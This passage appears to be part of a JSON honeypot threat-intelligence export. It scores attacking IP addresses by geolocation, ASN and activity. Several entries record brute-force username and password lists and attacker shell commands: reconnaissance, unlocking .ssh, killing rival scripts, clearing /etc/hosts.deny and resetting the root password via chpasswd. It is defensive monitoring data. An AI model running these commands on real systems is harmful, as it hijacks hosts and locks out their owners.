      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Guadalajara",
      "asn": 270161,
      "as_org": "Television Internacional, S.A. de C.V.",
      "threat_score": 22.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.0,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-18T00:00:41+00:00",
        "last_seen_30d": "2026-05-23T08:11:37.313000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2,
        "Honeytrap": 1
      }
    },
    "178.120.128.217": {
      "attack_count": 2,
      "first_seen": "2026-05-15T14:44:13.448Z",
      "last_seen": "2026-05-15T14:44:22.786Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belarus",
      "country_code": "BY",
      "city": "Brest",
      "asn": 6697,
      "as_org": "Republican Unitary Telecommunication Enterprise Beltelecom",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T14:44:13.448000+00:00",
        "last_seen_30d": "2026-05-15T14:45:32+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "179.6.100.11": {
      "attack_count": 2,
      "first_seen": "2026-05-11T02:37:24.836Z",
      "last_seen": "2026-05-11T02:37:37.226Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "Nuevo Chimbote",
      "asn": 12252,
      "as_org": "America Movil Peru S.A.C.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T02:37:24.836000+00:00",
        "last_seen_30d": "2026-05-11T02:38:39.068000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.101.149.231": {
      "attack_count": 2,
      "first_seen": "2026-05-16T16:06:12.357Z",
      "last_seen": "2026-05-16T16:06:12.897Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T16:06:12.357000+00:00",
        "last_seen_30d": "2026-05-16T16:07:15.046000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "181.122.168.48": {
      "attack_count": 2,
      "first_seen": "2026-05-11T22:55:00.293Z",
      "last_seen": "2026-05-11T22:55:13.823Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Fernando de la Mora",
      "asn": 23201,
      "as_org": "Telecel S.A.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T22:55:00.293000+00:00",
        "last_seen_30d": "2026-05-11T22:57:03.810000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.66.167.211": {
      "attack_count": 2,
      "first_seen": "2026-05-02T03:21:51.583Z",
      "last_seen": "2026-05-02T03:22:04.477Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "Lima",
      "asn": 6147,
      "as_org": "INTEGRATEL PERU S.A.A.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T03:21:51.583000+00:00",
        "last_seen_30d": "2026-05-02T03:23:09.306000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "182.46.233.223": {
      "attack_count": 2,
      "first_seen": "2026-05-21T08:00:04.535Z",
      "last_seen": "2026-05-21T08:00:42.164Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T08:00:04.535000+00:00",
        "last_seen_30d": "2026-05-21T08:01:43.181000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.177.2.130": {
      "attack_count": 2,
      "first_seen": "2026-05-06T09:22:14.239Z",
      "last_seen": "2026-05-06T09:22:27.272Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tajikistan",
      "country_code": "TJ",
      "city": "Dushanbe",
      "asn": 51346,
      "as_org": "Opened Joint Stock Company Tojiktelecom",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T09:22:14.239000+00:00",
        "last_seen_30d": "2026-05-06T09:23:35.133000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.221.253.69": {
      "attack_count": 2,
      "first_seen": "2026-05-23T13:58:10.146Z",
      "last_seen": "2026-05-23T13:58:33.667Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Albania",
      "country_code": "AL",
      "city": "Kor\u00e7\u00eb",
      "asn": 209442,
      "as_org": "FASTNET ALBANIA Sh.p.k",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T13:58:10.146000+00:00",
        "last_seen_30d": "2026-05-23T13:59:41.319000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "188.161.144.244": {
      "attack_count": 2,
      "first_seen": "2026-05-07T19:09:59.789Z",
      "last_seen": "2026-05-07T19:10:12.839Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Palestine",
      "country_code": "PS",
      "city": "Gaza",
      "asn": 12975,
      "as_org": "Palestine Telecommunications Company (PALTEL)",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T19:09:59.789000+00:00",
        "last_seen_30d": "2026-05-07T19:11:19.612000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "196.127.173.168": {
      "attack_count": 2,
      "first_seen": "2026-05-13T01:54:54.226Z",
      "last_seen": "2026-05-13T01:55:06.671Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 36925,
      "as_org": "ASMedi",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T01:54:54.226000+00:00",
        "last_seen_30d": "2026-05-13T01:56:08.710000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.91": {
      "attack_count": 2,
      "first_seen": "2026-05-06T03:13:27.033Z",
      "last_seen": "2026-05-06T03:13:36.851Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 82.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.9,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 28,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T05:32:38.679000+00:00",
        "last_seen_30d": "2026-05-29T20:24:09.115000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Honeytrap": 24,
        "Cowrie": 2,
        "Dionaea": 1,
        "Honeyaml": 1
      }
    },
    "27.21.30.95": {
      "attack_count": 2,
      "first_seen": "2026-05-22T10:40:41.382Z",
      "last_seen": "2026-05-22T10:41:10.411Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:40:41.382000+00:00",
        "last_seen_30d": "2026-05-22T10:42:19.635000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "42.248.174.12": {
      "attack_count": 2,
      "first_seen": "2026-05-22T19:05:10.226Z",
      "last_seen": "2026-05-22T19:05:23.565Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Jinzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T19:05:10.226000+00:00",
        "last_seen_30d": "2026-05-22T19:06:31.016000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.230.98.193": {
      "attack_count": 2,
      "first_seen": "2026-05-04T22:22:11.592Z",
      "last_seen": "2026-05-04T22:22:24.253Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Recife",
      "asn": 267160,
      "as_org": "JARDIMNET SERVICOS DE INFORMATICA E REDES",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T22:22:11.592000+00:00",
        "last_seen_30d": "2026-05-04T22:23:29.807000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.76.217.3": {
      "attack_count": 2,
      "first_seen": "2026-05-24T17:35:12.554Z",
      "last_seen": "2026-05-24T17:35:43.210Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T17:35:12.554000+00:00",
        "last_seen_30d": "2026-05-24T17:36:48.466000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "72.27.24.204": {
      "attack_count": 2,
      "first_seen": "2026-05-16T06:00:25.814Z",
      "last_seen": "2026-05-16T06:00:38.177Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Jamaica",
      "country_code": "JM",
      "city": "Kingston",
      "asn": 30689,
      "as_org": "FLOW",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T06:00:25.814000+00:00",
        "last_seen_30d": "2026-05-16T06:01:46.597000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "86.246.238.127": {
      "attack_count": 2,
      "first_seen": "2026-05-06T20:15:10.258Z",
      "last_seen": "2026-05-06T20:15:22.975Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 3215,
      "as_org": "Orange",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T20:15:10.258000+00:00",
        "last_seen_30d": "2026-05-06T20:16:30.485000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.106.39.190": {
      "attack_count": 2,
      "first_seen": "2026-05-08T12:26:41.553Z",
      "last_seen": "2026-05-08T12:26:55.214Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Baghdad",
      "asn": 210402,
      "as_org": "Hala Al Rafidain Company for Communications and Internet LTD.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T12:26:41.553000+00:00",
        "last_seen_30d": "2026-05-08T12:28:02.141000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.230.168.208": {
      "attack_count": 2,
      "first_seen": "2026-05-19T21:55:14.959Z",
      "last_seen": "2026-05-19T21:55:17.969Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 79.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 180,
        "days_active_30d": 29,
        "ports_targeted_30d": 59,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T02:04:40.494000+00:00",
        "last_seen_30d": "2026-05-30T19:13:09.068000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 143,
        "Honeytrap": 35,
        "Cowrie": 2
      }
    },
    "94.180.238.116": {
      "attack_count": 2,
      "first_seen": "2026-05-06T04:29:29.908Z",
      "last_seen": "2026-05-06T04:31:29.985Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Kazan'",
      "asn": 41668,
      "as_org": "JSC ER-Telecom Holding",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T04:29:29.908000+00:00",
        "last_seen_30d": "2026-05-06T04:41:36.757000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "95.90.13.168": {
      "attack_count": 678,
      "first_seen": "2026-05-16T13:32:24.295Z",
      "last_seen": "2026-05-22T17:46:07.128Z",
      "sessions": 66,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "bot",
        "admini",
        "ansadmin",
        "claude",
        "demo",
        "dmdba",
        "ftpuser",
        "hadi",
        "hl",
        "pgsql",
        "socks",
        "student4",
        "test",
        "test1",
        "trader",
        "user2",
        "username"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "0123456789",
        "0708228AsBs!",
        "1",
        "123",
        "1234!qwer",
        "123456a@",
        "123456aA@",
        "123@qweASD",
        "1qaz2wsx",
        "20192019",
        "2233",
        "321123",
        "Aa123456789",
        "Dr123456",
        "Kk123456@",
        "Passw0rd.",
        "Qwe112233"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Aa123456789\\noxogzLy41F4R\\noxogzLy41F4R\\n\"|passwd",
        "echo \"root:0bdsBrxUWdY7\"|chpasswd|bash",
        "echo \"root:CoPRdREoAbrR\"|chpasswd|bash",
        "echo \"root:F9KTe7hxvYJS\"|chpasswd|bash",
        "echo \"root:Ry3v73y8UTRC\"|chpasswd|bash",
        "echo \"root:YWCC7i9pedIB\"|chpasswd|bash",
        "echo -e \"Aa123456789\\noxogzLy41F4R\\noxogzLy41F4R\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Feucht",
      "asn": 3209,
      "as_org": "Vodafone GmbH",
      "threat_score": 32.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.2,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 828,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T13:32:24.295000+00:00",
        "last_seen_30d": "2026-05-22T17:47:16.336000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 678,
        "Suricata": 150
      }
    },
    "190.220.172.154": {
      "attack_count": 666,
      "first_seen": "2026-05-16T20:28:22.467Z",
      "last_seen": "2026-05-29T07:13:29.965Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "dev",
        "elaine",
        "git",
        "huawei",
        "leandro",
        "runner",
        "support",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456ll",
        "1234qwer",
        "20192019",
        "234",
        "CHINAIDC",
        "Huawei12#$",
        "Hy123456",
        "P455wOrd",
        "P@44w0rd",
        "P@ssw0rd",
        "Qwer4321",
        "Root12345678",
        "admin",
        "admin123",
        "carter",
        "eversec123098",
        "farid",
        "fjbdfdjkdsfs541544"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:KqNxRbg3ah0C\"|chpasswd|bash",
        "echo \"root:Kz6dimZF8Pm7\"|chpasswd|bash",
        "echo \"root:W1WKWvpeVHv4\"|chpasswd|bash",
        "echo \"root:bOqz9CNbgRRf\"|chpasswd|bash",
        "echo \"root:dEOzcshkIeHf\"|chpasswd|bash",
        "echo \"root:h3hrYq0ncnDL\"|chpasswd|bash",
        "echo \"root:vRVdWLocbsUT\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 11664,
      "as_org": "Techtel LMDS Comunicaciones Interactivas S.A.",
      "threat_score": 49.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.9,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 782,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T20:28:22.467000+00:00",
        "last_seen_30d": "2026-05-29T07:14:32.698000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 666,
        "Suricata": 116
      }
    },
    "152.53.22.186": {
      "attack_count": 511,
      "first_seen": "2026-05-09T00:24:10.961Z",
      "last_seen": "2026-05-14T08:18:24.372Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "test3",
        "user",
        "db2fenc1",
        "postgres",
        "sysadmin",
        "test",
        "vncuser",
        "administrator",
        "azureuser",
        "cmsadmin",
        "dayz",
        "hery",
        "k8s",
        "linux",
        "morteza",
        "mysql",
        "oracle"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "linux123",
        "qwerty",
        "0206",
        "123123",
        "1234",
        "1234567",
        "12345678",
        "123456789",
        "123456wW",
        "1qq2w3e4r5t",
        "Aa121314",
        "Hr123456",
        "Kermit123@",
        "M3gaP33!",
        "P@SVVORD",
        "P@ss2026",
        "Password1"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nTHMzvhoQY5QY\\nTHMzvhoQY5QY\\n\"|passwd",
        "echo \"qwerty\\npuc4bntoAJfF\\npuc4bntoAJfF\\n\"|passwd",
        "echo \"test3\\nTJtClNBaVzDD\\nTJtClNBaVzDD\\n\"|passwd",
